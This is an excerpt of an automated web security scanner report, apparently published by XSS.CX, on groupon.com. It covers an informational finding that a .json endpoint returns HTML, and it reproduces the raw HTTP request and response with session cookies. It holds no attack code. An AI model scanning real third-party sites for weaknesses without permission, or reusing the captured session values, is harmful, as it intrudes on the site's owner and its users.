Date: Wed, 19 Oct 2011 23:24:45 GMT
Content-Length: 46579
Connection: close
Vary: Accept-Encoding
Set-Cookie: scid=email_addresstest%40fastdial.net; path=/; expires=Tue, 19-Oct-2021 23:24:45 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:45 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:45 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:45 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.groupon.com
Path:   /deals/canvas-on-demand-dallas-11/deal_status.json

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain HTML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /deals/canvas-on-demand-dallas-11/deal_status.json HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.groupon.com/dallas/
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.3.8.1319066592; __utmc=44473723

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/json; charset=utf-8
Status: 200
ETag: "26d8ac9478ca511d5cc6bc5e6be9c525"
X-Runtime: 136
X-UA-Compatible: chrome=IE8
Content-Length: 927
Vary: Accept-Encoding
Cache-Control: public, max-age=555
Date: Wed, 19 Oct 2011 23:22:28 GMT
Connection: close

{"deal_purchaseable_as_mulligan":false,"deal_day":22,"deal_holiday":false,"deal_hour":4,"deal_status":"launched","deal_min":59,"number_sold_container":"\n<table class='status'>\n <tr class=\"sum\"><t
...[SNIP]...

Report generated by XSS.CX at Wed Oct 19 18:29:37 CDT 2011.